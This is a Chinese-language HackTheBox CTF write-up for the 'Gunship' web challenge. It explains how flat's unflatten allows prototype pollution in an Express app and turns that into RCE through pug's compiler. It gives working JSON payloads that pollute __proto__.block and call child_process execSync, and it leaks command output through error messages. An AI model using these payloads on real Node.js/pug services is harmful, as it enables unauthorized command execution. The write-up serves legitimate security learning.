HackTheBox-Challenges Gunship Writeup

kazma 成大資安社 創辦人/社長

Intro

這次要來做的是一題 Web 而且有附上 Source Code 還有 Dockerfile,網站畫面很漂亮,只有一個輸入點。
這題雖然標非常簡單但個人認為有很多值得我們探討的知識點,一起來研究吧。

Exploitation

這題的檔案結構如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
╰─ tree .                                                                                                           ─╯
.
├── Dockerfile
├── build-docker.sh
├── challenge
│   ├── flag
│   ├── index.js
│   ├── package.json
│   ├── routes
│   │   └── index.js
│   ├── static
│   │   ├── css
│   │   │   └── main.css
│   │   ├── images
│   │   │   └── favicon.png
│   │   └── js
│   │   └── main.js
│   ├── views
│   │   └── index.html
│   └── yarn.lock
├── config
│   └── supervisord.conf
└── entrypoint.sh

9 directories, 13 files

程式碼不多,其中特別直得注意的是 index.js。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
const path              = require('path');
const express = require('express');
const pug = require('pug');
const { unflatten } = require('flat');
const router = express.Router();

router.get('/', (req, res) => {
return res.sendFile(path.resolve('views/index.html'));
});

router.post('/api/submit', (req, res) => {
const { artist } = unflatten(req.body);

if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {
return res.json({
'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user: 'guest' })
});
} else {
return res.json({
'response': 'Please provide us with the full name of an existing member.'
});
}
});

module.exports = router;

其中特別值得拿出來說明的是:

1
2
router.post('/api/submit', (req, res) => {
const { artist } = unflatten(req.body);

上面這段就是唯一使用者輸入的 post 請求,unflattern 則是會把平面化的資料還原成嵌套的物件,這代表 req.body 可以包含類似 {"artist.name": "Haigh"} 這樣的平面資料,透過 unflatten 轉換成 { artist: { name: "Haigh" } }
然後 const { artist } = unflatten(req.body); 會從中提取 artist 字段。
再來是檢查條件:

1
2
3
4
5
6
7
8
9
if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {
return res.json({
'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user: 'guest' })
});
} else {
return res.json({
'response': 'Please provide us with the full name of an existing member.'
});
}

會檢查是否包含特定名字,符合條件就會使用 pug.compile 生成 HTML 內容,並傳入一個變數 user(值為 ‘guest’),產生類似 Hello guest, thank you for letting us know! 的訊息。
那上面提到的這兩段其實是有 Prototype Pollution 的風險,因為這段程式碼使用 unflatten 解析使用者輸入的 req.body,而如果使用者輸入了特殊鍵值(如 proto 或 constructor),在解展後可能改變 Object.prototype 的內容,造成原型污染。舉例:

1
2
3
4
5
6
7
8
// 攻擊者如果輸入:
{
"artist.name": "Haigh",
"__proto__.polluted": "malicious"
}

// 解展後的物件可能污染全域原型
console.log({}.polluted); // "malicious"

Exploit

首先我們的首要目標是要觸發 pug.compile,因為我們可以試圖透過 prototype pollution 讓 pug 在渲染的時候使用被我們污染的 block 物件,執行 execSync() 之類的指令操作。
所以我們可以透過 burp 去攔截 /api/submit 的封包,然後把 content 換成:

1
2
3
4
5
6
{
"artist.name":"Haigh","__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync('$(ls | grep flag)')"
}
}

然後正常來說我們是看不到輸出的,所以有些人可能會透過 reverse shell 來解這題,但這裡提供一個有趣的解法是,我們可以透過執行 $(ls | grep flag) 讓指令執行的結果變成不能運行的指令,然後跟著錯誤訊息印出來,舉例像是如果我們執行:

1
2
3
4
5
6
{
"artist.name":"Haigh","__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync('kazma')"
}
}

我們會得到:

1
Error: Command failed: kazma<br>/bin/sh: kazma: not found<br> on line 1<br>

所以在這邊 kazma 被當成指令執行,所以根成錯誤訊息印出來,同樣的我們其他指令執行的結果也會被當成無法執行的指令印出來,就可以看到輸出了,所以我們接著來拿 flag:

1
2
3
4
5
6
{
"artist.name":"Haigh","__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync('$(ls | grep flag)')"
}
}

我們送出上面的請求可以拿到下面的回應:

1
Error: Command failed: $(ls | grep flag)<br>/bin/sh: flagvAbC2: not found<br> on line 1<br>

所以檔案名稱是 flagvAbC2,不過我們直接 cat flag* 也可以:

1
2
3
4
5
6
{
"artist.name":"Haigh","__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync('$(cat flag*)')"
}
}

得到:

1
Error: Command failed: $(cat flag*)<br>/bin/sh: HTB{wh3n_lif3_g1v3s_y0u_p6_st4rT_p0llut1ng_w1th_styl3!!}: not found<br> on line 1<br>

Pwned !!!

pwn

References

  • Title: HackTheBox-Challenges Gunship Writeup
  • Author: kazma
  • Created at : 2024-10-30 22:49:00
  • Updated at : 2024-10-31 00:10:09
  • Link: https://kazma.tw/2024/10/30/HackTheBox-Challenges-Gunship-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
HackTheBox-Challenges Gunship Writeup